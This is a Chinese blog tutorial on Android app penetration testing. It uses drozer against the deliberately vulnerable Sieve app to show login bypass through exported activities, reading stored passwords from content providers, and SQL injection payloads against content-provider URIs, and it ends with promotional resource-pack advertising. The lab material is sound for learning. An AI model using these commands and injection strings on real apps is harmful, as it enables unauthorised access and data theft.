爱住了 | APP渗透测试漏洞实战教程

0x00 文章前言

app测试一般有三步(个人理解):

  1. 功能点测试 类似web

  2. adb调试 框架检测(本文所介绍内容)

  3. 反编译

安卓应用会用到四大组件,我们简单了解下:

activity组件: 负责展示用户信息和结果处理

service组件: 后台计算,获取下载结果

content provider组件: 用于获取应用数据等相关信息

broadcast receiver组件: 用于获取广播信息

图片

图片

0x01 所需环境

夜神模拟器: https://www.yeshen.com/

adb安卓调试器: http://adbdownload.com/

下载adb之后,将其安装根目录路径路径添加到环境变量 就可以使用adb命令。

Python2.7JAVA1.8

drozer环境 https://labs.mwrinfosecurity.com/tools/drozer/

drozer-agent-2.3.4.apk:安装至模拟器

图片

图片

如下路径需添加到系统中的环境变量:

图片

下图路径下的四个模块文件夹,复制到python2.7对应目录下,Python安装目录可找到相同路径:

图片

使用时可能会遇到一些模块未安装,但是安装时又提示pip中找不到,可以用其他版本替代:

python2 -m pip install googlepython2 -m pip install protobufpython2 -m pip install OpenSSL

Sieve: 一款用于APP漏洞测试的应用

图片

0x02 存在问题

#获取安装包列表  run app.package.list

图片

如果中文乱码了,修改package.py源码,加入如下内容:

import sysreload(sys)sys.setdefaultencoding('utf-8')

图片

往下划,找到如下内容,在前面加上u:

图片

图片

0x03 Sieve安装

拖动Sieve.apk进入模拟器,然后会自动安装:

图片

打开后需要设置密码,且长度需要为16位长度,我们设置:1234567812345678

图片

接下来需要设置一个PIN码,我们设置:1234

图片

完成后,输入设置的16位密码进行登入,然后添加测试数据:

图片

图片

图片

图片

0x04 环境连接

模拟器开启drozer服务,打开后点击右下角按钮,文字显示为开启并显示运行服务时,即为成功开启服务:

图片

图片

打开CMD窗口,输入命令开始后续操作:

#查看端口及连接  adb devices

图片

#连接模拟器  adb connect 127.0.0.1:62001#本地端口转发至模拟器  adb forward tcp:31415 tcp:31415

图片

#在确认drozer服务端开启的情况下,输入命令进行连接    drozer console connect    drozer console connect --server ip

图片

如果第一次进入的时候报错,提示 java环境变量找不到的话,需要在当前用户下创建一个.drozer_config文件:

[executables]java=C:\Program Files\Java\jdk1.8.0_201\java.exejavac=C:\Program Files\Java\jdk1.8.0_201\javac.exe

重新连接就可以了。

图片

0x05 常用命令

常用测试命令作用
基本语法run 具体命令 [-参数]
run app.package.list列出所有包名(软件)
run app.package.info -a 包名查看某个软件(包名)的具体信息
run app.package.attacksurface 包名查看某个软件的攻击面
run app.activity.info -a 包名查看某个软件的 activity 组件的具体攻击面
run app.activity.start --component包名 具体activity 启动某个 activity
run app.provider.info -a 包名查看某个软件的 provider 组件的具体攻击面
run app.provider.finduri 包名列出某个软件的 URI
run app.provider.query content://xxxxxURI查看某个URI内容
run app.provider.query content://xxxxxURI --projection “'”检测某个 URI 是否存在注入
run app.provider.query content://xxxxxURI --selection “'”检测某个 URI 是否存在注入
run app.provider.query content://xxxxxURI --projection “* FROM SQLITE_MASTER WHERE type=‘table’;–”针对某个 URI 进行注入
run app.provider.read content://xxxxxURI通过某个 URI 读取文件
run app.provider.download content://xxxxxURI 主机目录/文件名通过某个 URI 下载文件
run app.service.info -a 包名查看某个软件的 service 组件的具体攻击面
run app.service.start --action 某个 action启动某个 service
run app.broadcast.info -a 包名查看某个软件的 broadcast 组件的具体攻击面
run app.broadcast.send -action 某个 action --extra TYPE KEY VALUE执行某个 broadcast 组件的 action,并传递参数
run scanner.provider.finduris -a 包名寻找可访问 URI
run scanner.provider.traversal -a 包名探测存在目录遍历的 URI
run scanner.provider.injection -a 包名探测存在注入的 URI

图片

0x06 测试开始

#获取安装包列表  run app.package.list

图片

#获取安装包详细信息  run app.package.info -a 包名

图片

#获取目标应用所使用的组件情况  run app.package.attacksurface 包名

下图可见其潜在被导出的且暴露在外的相关组件种类及数量:

图片

#查看目标应用所使用的activity组件详细信息  run app.activity.info -a 包名

下图可见其三个组件权限均为:null,也就代表无需权限可对其进行操作:

图片

#测试其某个activity组件  run app.activity.start --component 包名 activity组件名

下图可见绕过了登录验证,直接进入了页面:

图片

#获取Content Providers组件信息  run app.provider.info -a 包名

如下图可见,所框选的两个Providers组件,无需权限即可进行操作,只有 com.mwr.example.sieve.DBContentProvider 的 /key 目录需要权限:

图片

#列出所使用的URI,并检测是否存在可被获取数据的URI  run scanner.provider.finduris -a 包名

扫描结果可见,存在三条可被读取的URI:

图片

#尝试对某URI进行数据读取  run app.provider.query URI路径

下图可见,成功读取到应用内的用户相关信息、应用密码等:

图片

图片

#探测应用中可能存在注入的URI  run scanner.provider.injection -a 包名

探测显示,如下URI中的Projection、Selection参数存在注入:

图片

#指定URI与参数,并插入单引号验证是否存在注入  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

下图可见,出现了报错,那八成是有注入了:

图片

#尝试构造通用语句(安卓应用大多使用SQLite),列出所有的数据表  run app.provider.query URI --projection "* FROM SQLITE_MASTER WHERE type='table';--"

图片

#指定某个表,对其内容通过注入进行数据获取    run app.provider.query URI --projection "* from Key;--"

图片

累了,结束~

最后

朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述

1.网安必备全套工具包和源码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,路线图上的每一个知识点,我都有配套的视频讲解。
在这里插入图片描述

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加护网行动、CTF和挖SRC漏洞的经验和技术要点。
在这里插入图片描述

网安方面的电子书我也收藏了200多本,基本上热门的和经典的我都有,也可以共享。
在这里插入图片描述

4.NISP、CISP等各种证书备考大礼包

在这里插入图片描述

5.CTF项目实战

学习网安技术最忌讳纸上谈兵,而在项目实战中,既能学习又能获得报酬的CTF比赛无疑是最好的试金石!

在这里插入图片描述

6.网安大厂面试题

这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
在这里插入图片描述
朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

  • 22
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值